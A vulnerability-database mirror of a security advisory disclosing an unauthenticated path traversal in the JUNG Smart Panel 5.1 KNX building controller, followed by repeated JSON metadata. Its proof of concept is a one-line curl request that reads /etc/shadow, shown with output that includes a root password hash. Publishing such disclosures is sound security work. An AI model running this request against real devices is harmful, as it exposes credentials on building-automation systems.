JUNG Smart Panel 5.1 KNX Unauthenticated Absolute File Path Traversal

6.9 / 10

MEDIUM

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/SC:N/VI:N/SI:N/VA:N/SA:N

Description

Title: JUNG Smart Panel 5.1 KNX Unauthenticated Absolute File Path Traversal Advisory ID: ZSL-2026-5969 Type: Local/Remote Impact: Security Bypass, Exposure of System Information, Exposure of Sensitive Information Risk: 5/5 Release Date: 10.02.2026...

Visit Original Source

Basic Information

ID ZSL-2026-5969

Published Feb 10, 2026 at 00:00

Affected Product

Affected Versions <html><body><p>JUNG Smart Panel 5.1 KNX Unauthenticated Absolute File Path Traversal

Vendor: ALBRECHT JUNG GMBH & CO. KG
Product web page: https://www.jung-group.com | https://www.jung.de
Affected version: L1.12.22

Summary: The JUNG Smart Panel 5.1 KNX is a flush-mounted 5-inch touch-sensitive
controller designed for managing smart building automation via the KNX system.
It serves as a, intuitive, centralized interface for controlling lighting, shading,
heating, and security, utilizing a 640 x 480-pixel color TFT screen running on
embedded Linux.

Desc: The controller suffers from a directory traversal vulnerability. Exploiting
this issue will allow an unauthenticated attacker to view arbitrary files within
the context of the web server.

Tested on: GNU/Linux 3.0.35-1.1.0

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience

Advisory ID: ZSL-2026-5969
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2026-5969.php

06.02.2026

--

$ curl http://17.17.17.17//etc/shadow
root:lnC45zXXNWV9E:17011:0:99999:7:::
daemon:*:16714:0:99999:7:::
bin:*:16714:0:99999:7:::
sys:*:16714:0:99999:7:::
sync:*:16714:0:99999:7:::
games:*:16714:0:99999:7:::
man:*:16714:0:99999:7:::
lp:*:16714:0:99999:7:::
mail:*:16714:0:99999:7:::
news:*:16714:0:99999:7:::
uucp:*:16714:0:99999:7:::
proxy:*:16714:0:99999:7:::
www-data:*:16714:0:99999:7:::
backup:*:16714:0:99999:7:::
list:*:16714:0:99999:7:::
irc:*:16714:0:99999:7:::
gnats:*:16714:0:99999:7:::
nobody:*:16714:0:99999:7:::
messagebus:!:16714::::::
</p></body></html>

{
    "lastseen": "2026-02-11T03:15:16",
    "description": "Title: JUNG Smart Panel 5.1 KNX Unauthenticated Absolute File Path Traversal Advisory ID: ZSL-2026-5969 Type: Local/Remote Impact: Security Bypass, Exposure of System Information, Exposure of Sensitive Information Risk: 5/5 Release Date: 10.02.2026...",
    "published": "2026-02-10T00:00:00",
    "modified": "2026-02-10T00:00:00",
    "type": "zeroscience",
    "title": "JUNG Smart Panel 5.1 KNX Unauthenticated Absolute File Path Traversal",
    "source": "",
    "references": "",
    "id": "ZSL-2026-5969",
    "bulletinFamily": "exploit",
    "cwe": null,
    "cvelist": [
        "CVE-2026-25872"
    ],
    "sourceData": "<html><body><p>JUNG Smart Panel 5.1 KNX Unauthenticated Absolute File Path Traversal\r\n\r\n\r\nVendor: ALBRECHT JUNG GMBH & CO. KG\r\nProduct web page: https://www.jung-group.com | https://www.jung.de\r\nAffected version: L1.12.22\r\n\r\nSummary: The JUNG Smart Panel 5.1 KNX is a flush-mounted 5-inch touch-sensitive\r\ncontroller designed for managing smart building automation via the KNX system.\r\nIt serves as a, intuitive, centralized interface for controlling lighting, shading,\r\nheating, and security, utilizing a 640 x 480-pixel color TFT screen running on\r\nembedded Linux.\r\n\r\nDesc: The controller suffers from a directory traversal vulnerability. Exploiting\r\nthis issue will allow an unauthenticated attacker to view arbitrary files within\r\nthe context of the web server.\r\n\r\nTested on: GNU/Linux 3.0.35-1.1.0\r\n\r\n\r\nVulnerability discovered by Gjoko 'LiquidWorm' Krstic\r\n                            @zeroscience\r\n\r\n\r\nAdvisory ID: ZSL-2026-5969\r\nAdvisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2026-5969.php\r\n\r\n\r\n06.02.2026\r\n\r\n--\r\n\r\n\r\n$ curl http://17.17.17.17//etc/shadow\r\nroot:lnC45zXXNWV9E:17011:0:99999:7:::\r\ndaemon:*:16714:0:99999:7:::\r\nbin:*:16714:0:99999:7:::\r\nsys:*:16714:0:99999:7:::\r\nsync:*:16714:0:99999:7:::\r\ngames:*:16714:0:99999:7:::\r\nman:*:16714:0:99999:7:::\r\nlp:*:16714:0:99999:7:::\r\nmail:*:16714:0:99999:7:::\r\nnews:*:16714:0:99999:7:::\r\nuucp:*:16714:0:99999:7:::\r\nproxy:*:16714:0:99999:7:::\r\nwww-data:*:16714:0:99999:7:::\r\nbackup:*:16714:0:99999:7:::\r\nlist:*:16714:0:99999:7:::\r\nirc:*:16714:0:99999:7:::\r\ngnats:*:16714:0:99999:7:::\r\nnobody:*:16714:0:99999:7:::\r\nmessagebus:!:16714::::::\r\n</p></body></html>",
    "sourceHref": "http://zeroscience.mk/codes/jung_dir.txt",
    "cvss": {
        "score": 6.9,
        "severity": "MEDIUM",
        "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/SC:N/VI:N/SI:N/VA:N/SA:N",
        "version": "4.0"
    },
    "cvss2": [],
    "cvss3": {
        "version": "",
        "vectorString": "",
        "baseScore": 0,
        "baseSeverity": "",
        "attackVector": "",
        "attackComplexity": "",
        "privilegesRequired": "",
        "userInteraction": "",
        "scope": "",
        "confidentialityImpact": "",
        "integrityImpact": "",
        "availabilityImpact": "",
        "cvssV3": {
            "version": "",
            "vectorString": "",
            "baseScore": 0,
            "baseSeverity": "",
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            "attackComplexity": "",
            "privilegesRequired": "",
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            "availabilityImpact": ""
        }
    },
    "href": "http://zeroscience.mk/en/vulnerabilities/ZSL-2026-5969.php",
    "category_name": "Exploit",
    "post_link": "",
    "product": "",
    "version": "",
    "vendor": "",
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    "ai_version": "",
    "ai_score": 0
}

JUNG Smart Panel 5.1 KNX Unauthenticated Absolute File Path Traversal_ZSL-2026-5969

Description

Basic Information

Affected Product

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